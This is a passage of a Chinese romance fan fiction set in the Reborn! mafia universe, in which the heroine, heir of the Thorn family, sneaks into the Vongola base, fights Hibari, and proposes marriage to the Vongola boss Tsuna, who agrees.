我注视着黑发男人俊秀现在看起来却十分可怖的脸,身上各处都在痛,勉强集中精神,估算着越过他逃出去需要的时间。
他提前察觉到什么眉头微挑,没给我任何喘息的时间再次冲了过来。
我捂着被击中的腹部摔了出去,仰面看着自上而下挥来的金属棍,眼眸放大,濒死的孔距让肾上腺素飙升。
我恍惚间看到了那把武器上竟然也闪烁着出现了熟悉的纹路。
“云雀前辈住手!”
挥至眼前的浮萍拐几不可查的顿了一下。
我睁着渗进血液的双眸,在浑浊的视野当中抓住破绽,朝那把在男人手中如同凶器的浮萍拐刺去。
跟在沢田纲吉身边的几人,看着地上狼狈的女人颤抖着手轻飘飘的刺出那把剑,反应不一。
山本武单手叉腰,眼神有些欣赏:“唔, 虽然作为剑士技巧上还有些距离,但意志力完全不输呢。”
狱寺隼人嘁了一声,瞥了他一眼。
“这样轻飘飘的剑,还敢擅自闯入彭格列?”
话音还未落下,就像是嘲笑他轻蔑的声音一般,几人都听见了随着那细长的剑身向前,奇异的切割声。
不像是破开金属反而如同锋利的锉刀丝滑切开木料的顿音。
不同寻常的声音让他们漫不经心的神情微微收敛,有些错愕的看向云雀的手,准确来说是那把跟着他大杀四方的浮萍拐。
竟然真的被一个寂寂无名的女人用一柄细剑破坏了!
比他们更先察觉到不同的是云雀恭弥,他在那把细长的剑贴近武器的时候就察觉到不对,丰富的战斗经验让他脑海中瞬间闪过数种应对方法。
却没想到那根本不是必杀技或者用来脱身的障眼法。
……不,这么说不对。
没有人比云雀自己更明白匣武器的硬度,这绝对是她独特的必杀技才对。
他松开手重新直起身,看着地上碎成两段的浮萍拐,脸上露出一个参杂着兴奋的嗜血笑容:“你不错,起来再试一次。”
我恍惚的看着他脸上的兴奋,眼前一黑,消耗过度的身体直接平平的躺回地面。
“要不还是重开吧。”
我实在没力气逃跑了,双手放在胸前,安详的闭上了眼睛。
对不起了查尔斯,对不起了玛莲娜,对不起了安娜……我顿了顿勉强加上米瑟尔,我终究还是辜负了大家的期待。
“啧。”
在极近的地方,我听到了黑发男人的冷哼,身体不自觉紧绷着等了一会儿,没想到却听到了离开的脚步声。
我悄悄睁开一只眼睛:“是要找人把我绑起来吗?”
沢田纲吉敛去眼中惊讶的神色,看着地上躺得……笔直的少女,眼神有些说不出的好笑,又莫名有些骄傲。
一段时间不见黑川小姐的进步真是出人意料。
他有种错过了什么的淡淡遗憾。
他没让其他人帮忙,独自上前想要唤醒狼狈的少女,一个人忽然从侧边的窗台上跳了下来,大步走向躺在地上的人。
听到有人接近我已经乖乖的把手腕伸出去,结果靠近的不是冰冷的绳索或是镣铐,而是带着暖意的手。
手腕以及脊背上传来的力道将我轻轻带了起来,肩膀抵住那人的胸膛。
“黑川小姐你怎么了?!”
熟悉的声音让我睁开了双眼,看着神色愠怒的迪诺,他在真心实意为我受伤而难过,我都有点不好意思让他知道我其实是偷偷潜进来的了。
迪诺蹙着眉,检查过她身上伤后,眼眸里带上了点不解和心疼:“你遇上云雀了?”
我眼神轻飘飘的从他脸上移开。
可恶啊!明明迪诺先生看起来并不十分年轻,怎么还会有种看见金毛大狗的错觉。
欺骗老实人良心不安啊。
我咽下狡辩的说辞,眼神飘忽:“对不起,我骗了你,其实我并不是收到邀请……”
“迪诺师兄,黑川小姐是我邀请的客人。”
我小声解释的声音被打断,终于意识到不远处还站着几个人,站在最中央的男人有一头柔软的棕发,正用柔和又惊讶的眼神看着我。
我同样诧异:“沢田先生你怎么会在这里?”
他走过来似乎犹豫了一下,还是伸手将我从迪诺先生手中抱了起来,先是朝明显有些错愕的迪诺抱歉一笑。
“可能是邀请名单出了点问题,云雀前辈把她当做入侵者了,师兄我先带她去医务室,晚点见。”
我意识到什么,茫然的眼睛逐渐瞪大,左右看了看,期间与下巴带着伤痕的男人对上视线,他爽朗的朝我笑了笑,还被那个银发男人瞪了一眼,最后落在抱起自己的沢田纲吉身上。
终于在他胸前被我弄得褶皱的外套上看到熟悉的标志下发现了细小的字母。
“von……gola?”
沢田先生是彭格列的成员? !
我心跳快了一瞬,又担心会不会给他添麻烦,虽然沢田先生看起来在这里地位不低的样子,我抿了抿唇。
迪诺的错愕很快隐去,他含笑与师弟打了个招呼,又十分有绅士风度的和他怀中明显走神的黑发少女道别,才转身离开。等到他们都离开,泽田纲吉带着我熟练的走在彭格列基地当中,偶尔遇到的家族成员都朝她投来奇怪的注视。
我回过神,拽了拽他的袖子。
沢田纲吉低头朝我安抚的轻笑:“今天在基地见到黑川小姐还真是一个惊喜,你来这里是找我的吗?”
我在他的注视下心中的愧疚更重了,拍了拍他的胸膛,想让他放我下来。
布料下不是想象的坚硬,而是说不上来的柔韧而饱满的手感。
我触电一样收回手,避开他的目光,恨不得回到作出决定之前:“抱歉,我不是来找您的,事实上我在这之前根本不知道您是彭格列的人。”
沢田纲吉胸膛轻轻颤动,他带着我走进一座白色的小楼,里面来来往往的工作人员都穿着白色制服,到这里我反而放松了点。
起码这里的大家都十分忙碌,根本没时间关注带着人从身边走过的两人到底有什么关系。
“放轻松,我相信黑川小姐并不是抱着坏心思来的,对吗?”
我被放在一张铺着雪白床单的小床上,这里似乎是某人的办公室,将门关上只剩下我们两个人之后,我凭借着对沢田纲吉的信任,或许还有些羞于启齿的依赖,我将来这里的目的以及发生的事情全盘托出。
我抱着膝盖坐在床上,脚上的高跟鞋早就在翻窗之前就被扔下。
“所以我是想要想办法见彭格列的boss一面的。”
他拖了个椅子坐在我面前,看我的眼神带着显而易见的不赞同,我以为他对我擅自闯入的行径有些不满,好不容易支棱起来的精神又蔫吧下去。
我捂着脸,不让他看清我脸上尴尬的表情:“我很抱歉,但是除了这个之外,索恩已经等不起了。”
就算我能打败一些人,但个人的勇武在集体面前十分有限——这件事在今天已经十分生动形象的说明了。
而且还得到了非常痛彻心扉的教训。
他看着黑发凌乱浑身是伤就连脸上都有伤痕,可怜兮兮蜷缩着的少女,半晌叹了口气。
“你就没有为自己想过吗?”
嗯?
他的声音不像是生气。
我偷偷从膝盖里抬起一双眼睛静悄悄看着他。
他向来柔和的眉眼间带着隐忍与无奈:“或许是我那天的话影响到你了,黑川小姐,想要保护家族的心情我能理解。”
“但是在尽到自己的责任之前还有一点你要记住。”
他严肃下来棕眸注视着我,竟然有种威严的气质。
我不由自主点点头,侧耳倾听。
他朝门外看了眼,轻轻拍拍我乱蓬蓬的头发:“永远也不要轻视任何一个人的生命,包括你自己的。”
“索恩如果失去你会变得更糟。”
我点头的动作一顿,其实家族还有米瑟尔啦,应该不会糟糕到哪里去吧,我可是对怎么做一个boss完全没有一点头绪。
沢田纲吉看出她的不以为意,这些年来少见的对一个人生出无可奈何,在这之前他面对妈妈的时候偶尔会产生这样的感觉。
因此他加重了语气:“如果你因此而失去性命,所有人都会悲伤自责,同时背负上更加沉重的责任。”
他想要用这样不太温和的方式压下她暴露出的对自己生命的轻视。
身体沉重的疲惫让我有点想睡觉,但在沢田先生说话的时候睡过去不太礼貌,只好撑着脸,在他说完后嘟嘟囔囔的说:“您也会为我哭泣吗?”
“咳。”
门外传来细微的响动。
沢田纲吉没有往外看,只是注视着她如同看着路边流浪的小黑猫,沉默了一会儿,妥协道:“会。”
“如果你在我看不见的地方就那样死去,我会非常难过。”
他说完后似乎有点后悔,起身去开门。
我双眼一亮,探身抓住他的衣角,诚恳的望着他:“如果不希望我随随便便死掉的话,那沢田先生和我结婚吧!我一定会乖乖待在你看得到的地方的。”
听到里面安静下来的夏马尔推门而入,正好撞见彭格列的大八卦,顿时瞪大了一双耷拉的眼皮,视线在两人之间移动。
打了三十多年光棍,彭格列终于要有好消息了吗? !
等等。
他看着陌生的黑发少女眯起眼睛,语调懒洋洋:“ boss ,这位魔女小姐就是我的病人?”
我和沢田纲吉同时看向他,眼神都有些茫然。
安静了一会儿,夏马尔绷不住高深的表情,暴躁的朝他们吼道:“你们不要这么惊讶啊,都谈婚论嫁了还不知道吗?”
紧接着看向我:“你自己的外号自己好歹关注一下啊!”
我反应了一会儿,缓缓:“啧。”
好老土的绰号。
我遗憾的看向沢田纲吉的背影,求婚又被打断了。
夏马尔挥了挥手:“算了算了,让我看看伤情。”
我感觉手臂被什么叮了一下,紧接着失去了意识。
等等……刚才医生叫泽田先生……什么……来着……
第107章
我嗅着诱人的香气睁开双眼,茫然地盯着雪白的天花板看了一会儿,忽然唰的一下坐了起来。
在身上胡乱摸了摸,除了换了套衣服之外,受伤的地方都已经被处理过了。
才有闲心观察四周,随后放松下来。
这是一间普通的单人病房, 具体一点就是普通的豪华单人病房。
不远处待客的茶几上放着的冒着热气的咖喱,以及一个眼熟的小蛋糕盒。
我动了动鼻子,肚子忽然咕噜咕噜叫了起来,床边没有拖鞋我干脆光着脚小心下了床,走到门边按下把手。
“诶?锁住了?”
我试图喊人:“请问有人吗?”
过了一会儿我不得不承认恐怕暂时还不出去,桌上的咖喱大概是给我的午饭。
我透过病房的窗户看了眼高悬的太阳,没怎么犹豫就接受了似乎被限制了行动的事实,溜溜达达走到茶几旁坐下,拿起了勺子。
我挖了一勺咖喱送进嘴里,思索的时候是习惯性的面无表情,抬手、走动的动作没什么阻碍,不愧是彭格列的医生。
也不知道我睡了多久,米瑟尔这么不聪明不知道有没有回去暂时主持大局,时间太久了玛莲娜他们肯定很担心。
我嚼嚼嚼:“被留下也算是好事?说不定还能想办法先和彭格列见一面。”
自言自语忽的顿住。
刚从沉睡中苏醒的大脑不太灵活的运转, 我好像忘了一件非常重要的事……
嘶,是什么呢?
我维持着凝重的表情将一大盘咖喱清空,手指自然而然的摸向被人一同送过来的小蛋糕盒上,急需补充能量的身体在吃完过量的咖喱之后,仍然不满足的催促着我吃下这块甜品。
我坐在沙发里,实际上这个待客的沙发格外柔软,让我整个身体差不多都是窝在里面,看着蛋糕盒的时间有些长,旋即视野中出现了奇妙的变化。
蛋糕盒表面出现不规则交错着的线。
我双眸一亮,兴高采烈地用附带的小叉子轻轻顺着某条线划过,也许是纸质外壳本就脆弱,它几乎没有阻尼感的从我划过的地方被切开,露出其中点缀着稍微蔫吧薄荷叶的蛋糕。
我从沙发里蹦了起来,终于迎来了最近第一次好消息:“原来是这个!我竟然忘了我的能力提升了!”
紧接着我凝神看向病房的门和窗户,如愿以偿看见了我想要的东西。
这时,窗外忽然传来嘈杂的声音,伴随着轰隆作响的剧烈向撞击,就连我脚下的地板都在微微摇晃。
我好奇的走到窗边,贴着窗户看到了一座正在被爆破的大楼。
准确的说,那栋银色的大楼约莫是中部的位置被什么东西炸开了一个硕大的空洞,附近活动的彭格列成员纷纷向四周散开。
动作熟练的让人心疼。
“这是遇袭了吗?”
我先是有些担心,马上又反应过来这里可不是我的家族,而现在可不正是我的机会吗? !
我摩挲了一下指间的索恩指环……那把剑自从我醒来后就不在身边了。
那边的战况越来越激烈,这附近的巡逻人员都朝那边靠近,却并不进去阻止,我觑着眼睛终于看清了,造成这样战况的居然是两个拿着冷兵器战成一团的两个人!
“怪物吗他们……”
能力物理破坏力大幅度上升的某人如是说。
我捏着病房里唯一能找到的武器,一把不到手掌长的金属甜点叉,不再犹豫果断的破开玻璃,翻了出去。
还好病房在一楼。
我顺着墙根避开人流往僻静的地方跑,等到我从草丛里钻出来,看着出现在眼前不像是会出现在黑手党基地的小屋时,才发觉不对。
我硬着头皮观察了一会儿,得出结论:“彭格列的基地太大了。”
我迷路了。
“……”
我按了按脑门咬着牙起身原地返回。
总之还是先离这地方远点吧。
经常玩解密游戏的都知道,在不正常的地图里看到格外正常的东西很不正常,触发boss战的几率大大增高。
我屏住呼吸用最轻的动作转身冲刺。
然后一头扎进了boss(X。
给了boss胸口一头槌(√。
如果现在是游戏的话我一定手速飞快的选择进入菜单时停存档,现在只能僵硬的听着对方吃痛的闷哼一声,然后抓着我的肩膀疑惑的问:“黑川小姐怎么在这里?”
草,我想起来了!
沢田纲吉他就是彭格列的boss啊! ! !
我缓缓抬头与沢田纲吉对视,希望他能看出我眼中的诚恳:“我说散步不小心迷路了你信吗?”
他先是取下我头发上夹杂的杂草,又看了看我身上宽松的病号服以及赤裸的带着伤痕的双足,似乎轻轻叹了口气。
我垂死挣扎的寻找逃跑路线。
“这里是我居住的地方。”
我眼神一滞,您是说这么大的基地我随便找了个方向就直奔boss老巢自投罗网了吗?
他的眼神终于染上了些怒意让我不敢直视。
令人忐忑的沉默在我们之间蔓延。
我忍不住开口:“您在这里没问题吗?医院旁边那栋楼好像遇袭了。”
沢田纲吉看着毫无反悔之意的少女开口:“总之先跟我进来吧。”
两道声音同时响起,我们都沉默了一下。
我转头看着那栋小楼,忍不住想如果我平安回去的话,就跟他们说我成功杀进彭格列的老巢又片叶不沾身的逃出来了。
头顶传来他无奈的声线:“不要走神了。”
“那不是敌人入侵,只是守护者之间的切磋而已。
我身体一轻,被他打横抱起往那栋房子走去,他的动作非常绅士,触碰我身体的地方都隔着衣物,这样暧昧的动作,反倒像是端着一件一人长的物品。
不过这样的态度也让我的不自在减轻许多。
甚至想到他说起守护者切磋时语气中咬牙切齿的平静忍不住暗暗勾唇。
他走到门前自动虹膜识别后带着我走了进去,我好奇的打量着屋里的陈设,有些惊讶的发现这里实在是不像一流黑手党家族boss的居所。
这里并不是简陋。
而是太过于普通了,进门处软软的小雏菊地毯很普通,四层鞋柜很普通,待客的布艺沙发与茶几都很普通。
像是霓虹普通家庭的陈设。
我忽然想到沢田纲吉的名字,有些了然,他也是霓虹人来着。
他将我放在沙发上,转身去电视柜前半蹲下身找东西。
自从进了这栋房子之后我彻底放松下来,撑着下巴看他蹲下而微微紧绷的西装布料:“我偷偷跑出来您不生气么?”
他找出一个画着红十字的箱子来到我面前,蹙眉看着我的脚:“自己上药可以么?”
我晃了晃脚踝,无所谓的点点头,接过药箱:“你还没回答我的问题呢,沢田先生。”
他看着我随意的动作表情不太好看,在我的催促中开口:“本来也没有限制你的人身自由,我已经与查尔斯通过信了。”
“等你修养好身体再谈同盟的事。”
我清理伤口的手一顿,惊喜的抬眼:“你答应同盟?”
同盟可比短暂的合作稳定也划算多了。
直白的说简直像是彭格列对索恩定向扶贫。
他叹了口气蹲了下来,从我手里接过伤药:“冒犯了。”
脚踝忽然一暖。
我看着被他放在膝头上药的脚眨眨眼,察觉到他似乎对我格外容忍,小心翼翼试探:“你怎么对我这么好?”
沢田纲吉上药的动作很熟练但包扎有些笨手笨脚,最终一本正经的将我的脚包成粽子。
我晃了晃被包成团子的脚,发出惊叹的声音。
“看起来像是骨折了一样。”
明明只是些划伤而已。
他终于抬头看了我一眼,我顿了顿,手指在嘴唇前做了个拉拉链的动作。
他满意的低头将我另一只脚如法炮制包成球。
我摇摇晃晃的站在地上,开始怀疑他是故意的。
沢田纲吉走向厨房,然后传来哗啦啦的水声,过了会擦着手走出来,从冰箱拿出一瓶牛奶放在我面前。
他端着杯咖啡坐在我对面,眼神纵容又严厉。
说真的这种复杂的感觉让我有点想靠近又有些退缩。
他抬腿搭在另一只腿的膝头,双手放在大腿上,看着我:“这就算对你好吗?黑川小姐你已经是成年了,一位淑女不能被一点点小把戏骗走。”
他又强调:“也不能随便和人求婚!”
这题我会!
我不太稳的站起来,举手:“我知道!那”
“我只想和泽田先生结婚!”
然后我拿出写工作报告的精神罗列了他的优点,巴拉巴拉说了一通之后才期待的看着他,强调:“我是认真的。”
沢田纲吉陷入了长久的沉默。
他被那双亮晶晶的蓝眸注视着,在当上Mafia首领的第二十年久违的感受到了罪恶。
他有做过让这孩子误会的事情吗?
注视着她圆溜溜的双足,他像被人打了一拳。
……好像不能说没有。
即使是超直感都在告诉他,这孩子真的是认真的。
但这不对。
她才刚刚成年就已经是索恩家族的继承人,拥有力量与决心,善良又心软,当她用那双雾蒙蒙的蓝眸注视他人的时候,没有人能拒绝她的可爱。
她是新生的玫瑰。
就算没有他的帮助,她也能走下去。
他应该严肃的拒绝,帮助她竖立正确的恋爱观。
我在他的沉默中试探的迈出一步,偷偷凑近对面,手指戳了戳他的膝盖。
没反应?
我变本加厉的靠近,手指点了点他的肩膀:“沢田先生?”
伸出去的手腕忽然被一只大手攥住,力道让我有些发疼,我嘶了一声,脚下不稳摔了过去。
沢田纲吉抓住她的手,忽视胸中细微的动摇,想要严厉喝退不懂事的孩子,一具柔软的身体忽然跌了进来。
他听见她说:“试试嘛!除了沢田先生,我不想嫁给任何人。”
第108章
我迅速反应过来伸手想要扶住桌子稳住身体, 肩膀就已经被人提前一步握住。
稳住身体的手没有放开,而是稍微施加了些力道如同提着一只猫一样将我放在身边的沙发上。
我视线一转坐会沙发里有些郁闷的晃荡了一下圆滚滚的脚,不满的看了身侧的男人一眼:“为什么要包扎成这样害得我差点跌倒了。”
“我自己来的话肯定比你包的好。”
沢田纲吉在她自然而然的亲近抱怨中眼神微微一滞。
他原本想要将心里早就准备好的答案脱口而出,但总是柔软的为他人着想的心软了下来,或许他不该在一个一心想要嫁给自己的女孩子面前说自己只是将她当做成长的幼苗看待。
自从成为一个合格的mafia首领之后,沢田纲吉已经很久没有思考过结婚的事了,毕竟家族里有太多事情需要他操心。
当然不得不承认也有当初曾经喜欢过的女孩并没有如同年轻时自己的期望一样嫁给自己这件事造成了一些影响。
他很肯定回想这些过去以及面对黑川小姐过于直白可爱的心意的时候,心中并没有出现任何一丝的话后悔和不耐。
爱情只是一种感情,变成什么样依靠的是产生爱情的两个人。
当初他不愿意让任何危险伤害到京子,现在也无法放任眼前这个孩子沉溺在固执的幻想当中最终伤害自己。
他的直觉在说她刚才的话是认真的。
要想个办法才行。
沢田纲吉轻笑将医药箱递了过去,棕眸带着让人无法拒绝的笑意:“那拜托黑川小姐教教我。”
我接过医药箱对这项任务没有异议。
总不能就这样踩着两颗球回去。
我轻松的曲起一条腿放在身前解开绷带,被那双眼睛专注的看着,反而让我的动作有些迟疑,我悄悄吸了口气:“其实也很简单……”
等两只脚都示范教学了一遍之后,我穿上他让人送来的鞋站起来,忽然意识到似乎忽略了什么,唰的一下看向他的后背。
沢田纲吉拿着电话走向窗边,熨烫平整的西装布料上有些细微的褶皱,我眼神在那上面停了一下,似乎是在为我包扎的时候弄皱的。
得出结论后我的实现继续上移,顺着被西装收束的腰肢,略过试探过手感结实富有弹性的胸膛,一直到他的侧脸停下。
沢田纲吉不是那种一见面就会让人心生恐惧的□□壮汉形象,反而长了一张与之相反的俊秀脸庞,笑起来的时候眼角会有一点点不易察觉的纹路。
我得说有时候这些小痕迹也会带来截然不同的结果。
那点点岁月带来的痕迹以及成熟的气质,反而让人感到有种看到红彤彤的饱满的缀在枝头无人采摘的果实的诱惑和魅力。
他谈及正事的时候很郑重,表情严肃得让我有点手痒痒。
我想起来了,他故意借着学习包扎将我之前求婚的事情蒙混过关了。
我向下撇了撇嘴角,还没有,在我离开这里之前这件事情还不算过去式。
我踩着新鞋悄无声息的靠近,却发现在不知何时他已经转过身正面对着我,一手握着手机举在耳边,口中说着严肃的问题,眼神却敲到好处的递出疑惑。
他在说你要干什么?
我朝他勾起唇角,被发现后干脆几步走到他面前,抓着他垂落的手摊开放到两人之间。
那只手在不同的场合我已经主动或被迫接触过好几次,每一次它的主人都带着年长者的从容,唯独这次在被牵住的时候手指抖了抖。
收到我疑惑眼神的沢田纲吉动了动顿住的喉结,最终给出一个毫无威慑力的警告眼神。
毕竟他的手还乖乖的摊开在我们之间。
她要做什么?
沢田纲吉不动神色收紧了握着手机的手,又在手机发出哀嚎的时候微微放松,他快速给出对面需要的指令并想要提前结束通话。
和一个调皮的孩子共处一室的时候将她一人放在一边显然不是一个好主意。
他一边分神在垂着纤长睫毛认真在手心书写的少女身上,一边听着手机对面的声音。
“等等boss ,还有一件事我想需要提前通知您,云守大人和雨守大人带着似乎在找人的夏马尔大人朝您那边去了。”
他有些头痛的点点头:“我知道了。”
我期待的看着挂断电话的沢田纲吉:“我刚刚的提议你觉得怎么样?”
他蜷了蜷手指,布满茧的手还残留着刚才被写写画画留下的痒意,说实话除了她的手指有点软之外什么都没感觉出来。
“嗯……”
被这样的眼神看着他也不忍心随便糊弄过去。
他趁机将摊开的手盖在她的眼睛上,阻断视线后有些松了口气,旋即意识到自己在做什么之后露出一点苦笑。
完全被牵着鼻子走啊。
当然在Mafia教父不愿意的情况下没有人能拥有这个荣幸。
他当然知道,但不过是不愿意伤害这个的和以前的自己格外相似的少女而已,仅此而已。
“嗯,让我想想,是很重要的事情对吗?”
手下的脑袋上下摇晃。
他眼神不自觉柔和,声音放缓:“那可以再说一遍吗?重要的事情我想从你嘴里听到。”
我被掩住的眼神有些茫然,但还是重复了一遍。
“和我结婚吧,如果最终觉得不合适的话你可以选择离开。”
“咔嚓。”
门锁被人打开的声音响起,站在门外的三人眼神定定的落在两人身上。
先是在明显稚嫩可爱身上还带着伤痕的少女身上转了一圈,又落回自家boss身上,就连云雀眼里都带着淡淡的责备。
你怎么能引导小孩子说这话!没想到你是这种人,渣男!
沢田纲吉风评被害,却没时间理他们。
我说完后放在眼前的手倏然不见了,取而代之的是他分外严肃的神情:“刚刚的话是谁教你的?你知不知道这种事情最容易吃亏的是你自己!”
我被看得缩了缩脖子。
他语气缓和道:“你跟我说,如果我还是拒绝的话,你准备怎么做。”
那就下次再来呀。
我理所当然的想,不过在他严厉的目光中,我犹豫的换了个说辞:“那就过段时间换个目标?”
任务失败就只能回去做路人任务了吧?
沢田纲吉瞳孔放大,脸色第一次变得这么黑,声音像是从嗓子里挤出来:“我答应你了。”
“不要随随便便就和人这么说,听到了吗?”
我被握着的肩膀有点疼,但他似乎真的误会了什么非常生气,看过来的眼神像是看误入歧途的少女。
我握着他的手腕扯了扯,小声:“……你不愿意就算了。”
“呵,我愿意,我太愿意了,看着我黑川小姐。”
我别开的脑袋被迫转回来。
沢田纲吉胸膛起伏几下终于勉强恢复了从容,他轻轻按住我的脖颈,这种时候终于体现出了一些属于黑手党boss的强势。
“我会尽全力做好当好一个丈夫,以及黑川小姐你务必要告诉我是什么导致你会这么想,好吗?”
他的表情很温和,但眼神看起来很恐怖,像是想要把系统撕碎。
我仰头踮起脚凑过去在他唇边轻轻碰了碰,眼神是直白的疑惑:“可是我已经成年了。”
男人身后翻腾的气势一滞,倏然放开她后退一步转身。
“这不是一回事,我有必要对我未来的妻子负责。”
我看着他棕发下通红的耳垂,眯了眯眼睛:“……我明白了。”
第109章
沢田先生居然会害羞!
我脑子里飘过这几个大字,但在还有人在围观的前提下,我绷着脸没有露出什么奇怪的表情。
被答应后我情绪高涨,对他格外慎重的操心表情视而不见,向后退了几步离开被他身形能轻易笼罩的范围, 跳回沙发旁提起之前换下的拖鞋, 顺便和僵在门外的几人打了个招呼。
“你们好啊。”
下巴上带着伤疤的黑发男人凌冽的目光落在我身上,似乎在我脚上大小不太合适的拖鞋上停留了片刻,收敛了震惊的表情,自然而然的朝我露出一个清爽的笑。
他走了进来,微微俯身与我四目相对,身上带着浅淡清爽的水汽,像是夏日的雨后令人舒适的气息:“我是山本武,你就是从医院失踪的黑川小姐吧,夏马尔急坏了正在找你。”
自觉走进来的云雀面色冷淡,闻言朝这边瞥了一眼,轻哼了一声,拿着一张纸递给沢田纲吉。
“今天的定损,会计部门拜托我送过来。”
又造成一栋楼损失的罪魁祸首丝毫看不出惭愧, 如是说。
沢田纲吉的注意力被单据拉了回来,手指拎着那张纸,眉角微抽,波澜不惊的面容在看到上面预估的数字时,还是忍不住扶额。
“云雀前辈我记得新训练场修建好之后还特意通知过你们了吧。“
我注意力不自觉落在窗边的两人身上,目光稍微有点紧张的在沢田先生和云雀先生身上摇摆。
糟糕,云雀先生脸色好差(脑补),还是第一次见到沢田先生这么严厉的表情,他们不会打起来吧! ?
昨天昏迷前的记忆重新在眼前不断重播。
也许是关心则乱,沢田先生身为彭格列的boss ,实力一定不差,但我还是担心的朝那边走了一步……
看似对峙当中的两人同时中断视线看了过来,我身体一僵,一只手也从背后搭上我的肩膀。
“啊哈哈哈哈怎么了黑川?”
山本武搭上来的手不着急的引导着我退到他身旁,然后脚步一动,身形完全将我遮掩,像是什么都没察觉:“阿纲还有些事要处理,要去吃饭吗?”
眼神放空走神的黑发少女歪了歪头,迟疑:“不,不用了。”
“咕噜噜~”
我捂着肚子脸色一红,肚子又不识相的在安静的空间里又响了一次,可恶,明明出来之前已经吃过一盘咖喱了,也太不争气了吧!
我硬着头皮迎着山本武含着笑意的视线改口:“那麻烦你了。”
我朝从刚才开始就一直注视着这边的沢田纲吉小幅度挥挥手:“那我先和山本先生出去了,沢田先生。”
沢田纲吉对上我的视线眼神下意识柔和下来,我脚步一转停在他身前,发顶一重,被人用手不轻不重的拍拍。
“去吧,我等会儿就来。”
我嗯了一声,欲言又止的看了他一眼,还是转身跟着山本武离开。
昨天和今天早上都匆匆忙忙没有心情观察彭格列基地,我东张西望的观察这里的环境,路过一丛被照料得很好的花丛时,伸出一只手指戳了戳。
“感觉和索恩完全不同,是非常现代化的风格啊。”
随着越发深入,那些宏伟的用来彰显彭格列实力或者什么东西的建筑和装饰逐渐消失,越来越多的低矮建筑以及大片的花田草坪。
风吹动树叶带来沙沙的声响,以及令人心旷的香气。
我震惊的张开嘴:“这里竟然也是彭格列的基地吗?好漂亮……”
不像是mafia的地盘,反而像是宁静的村落。
走在前面的山本武停下脚步,看向那些花田,似乎想起什么表情有些微妙,不过还是立即为我解答了。
“啊,这个是因为有家族成员非常喜欢这些,不过我也不讨厌就是了。”
他带着我在一座三层楼的尖顶建筑前停下脚步,不用他说我已经嗅到飘出的香味了。
山本武侧身打开门,做了个邀请的手势:“请进,这可是成员反馈最好的食堂哦。”
我顺着他的意思走进去,里面大多数的人比想象中要多,明明在外面走过来的时候没什么人经过来着。
我忍着疑惑,在他的建议下选了最受欢迎的牛排定食,我端着托盘在他对面坐下,心不在焉的吃了一块牛排,然后迫不及待的看向对面。
山本武面前是堆成小山高的寿司,消灭的动作也相当快,我愣了一下,却发现整个食堂只有我在为这个震惊后也勉强冷静下来。
我眼巴巴的看着他,轻咳一声,发出想要聊天的邀请。
对面的男人看了我一眼,在我暗含希冀的眼神中起身,不一会儿放了一瓶牛奶在我面前。
“抱歉抱歉,差点忘记了饮料,喝这个没问题吧?”
我捏着草莓牛奶梗了一下,勉强点点头:“我没问题,谢谢。”
我打开牛奶吨吨吨喝了下去,冰凉的液体稍微抚平了我的心情,还是先吃饭吧。
山本武说的果然没错,这里的牛排真的很好吃。
我鼓着腮帮子嚼嚼嚼,吃到一半对面的寿司小山已经被彻底消灭掉了。
吃的好快……
寿司也很美味的样子。
“啊,对了黑川,你刚才想说什么?”
我吃饭的动作一顿,忽然捂着嘴撕心裂肺的咳嗽起来,视线都开始模糊。
胡椒!胡椒呛到了!
我脸色通红的捂着嘴朝对面做了个没事的手势。
山本武关心的声音消失了,背上传来安抚的轻拍,手里被塞进一块手帕。
我拿着手帕擦了擦脸,终于丢脸的停下了咳嗽,想说什么,一杯水就凑了上来,我张口咕咚咕咚喝了一半,忽然顿住。
还挂着泪珠的睫毛被迫随着眼睑张开,首先看到的是别着彭格列标识的衣襟,被衬衫领束缚的喉结上下移动。
“好些了么?”
不,不会吧。
我心里有些抓狂,早上鬼鬼祟祟在基地里乱跑被抓住,现在又被看到这丢脸的时候,我不会在沢田先生眼里是一个冒失鬼吧!
我梗着脖子点点头:“没……没事了。”
沢田纲吉把水杯放在我手边,坐在我身边,挺拔的身形挡住了其他人大部分好奇的目光。
他面前同样是一份牛排定食。
他没有对我的情况多加询问,似乎对于造成目前状况的原因了然于心,贴心的没有再让我徒增尴尬。
噗。
我在心里笑出声,最近思维是不是太过活跃了,已经成为黑手党BOSS的沢田先生,应该就是从小生活在优越的贵族家庭,不管什么都能轻易做好,具有领袖气质的人生赢家才对。
怎么可能这么敏锐的察觉我的想法。
我偷偷擦了擦眼睛,顺便抽空瞪了对面满脸无辜的山本武一眼。
我明白了!山本先生绝对是天然黑!
他愣了一下,然后朝我讨好的眨了眨眼睛:“你问吧,我现在绝对会认真回答的。”
我快速扫荡盘子里被剩到最后的一堆蔬菜,皱眉敷衍的嚼了几口全部吞了下去,闻言放下叉子,双手在身前比了个叉。
“不要,你的信誉在起步建立之前就跌到负数了。”
他托着下巴看着我,声音拉长:“诶——通融一下嘛,我还是很可靠的哦。”
我用沉默来表达我怀疑的态度。
沢田纲吉眼神在两人之间扫过,微笑着说:“阿武那边似乎有人找你。”
打断了山本武原本想说的话。
山本武站了起来,耸耸肩:“那好吧,我先走了,我们的话题留到下次好了黑川。”
好自来熟啊。
不过也不讨厌就是 。
我皱着鼻子朝他挥挥手:“快去吧,我直接问沢田先生就行了。”
等他走了之后,这桌只剩下我和沢田先生两人,竟然比之前在那座小屋独处的时候还要安静。
我把草莓牛奶的瓶子捏在手里把玩,安静的等沢田纲吉吃完。
“黑川小姐和阿武相处的很好。”
我后知后觉的扭头,看着他平静的侧脸,把心里突然冒出来的想法扔进垃圾桶。
沢田先生是不会因为这种小事吃醋的。
我咧了咧嘴,做了个古怪的表情:“才没有,山本先生绝对是个腹黑对吧!我和这种家伙的相性不太好。”
落在头顶的视线轻飘飘的移开。
沢田先生用餐的动作比我想象中随意,戴着戒指的修长手指捏着刀柄稍稍用力切割牛排,手背上鼓起的青筋以及粗糙的指节随之凸显……有种别样的性感。
我悄悄移开目光,正襟危坐,过了会儿目光又小心翼翼挪过去,落入一双漾着涟漪的棕眸。
“!”
他似乎没发现我的动作,只是问:“黑川小姐有什么想问我的吗?”
我轻咳一声,又狼狈的拒绝再次被递过来的水杯,一直到现在才想到确认这个问题似乎有点尴尬。
我闭着眼睛小声说:“沢田先生就是彭格列的首领么?昨天昏迷之前我好像听到有人喊您BOSS 。”
沢田纲吉:“嗯?”他一手扶额陷入了沉思,视线若有所思的落在她有些不好意思的小脸上,表情有些懊恼:“我没说过吗?”
我有些意外,不过还是大声:“没有说过。”
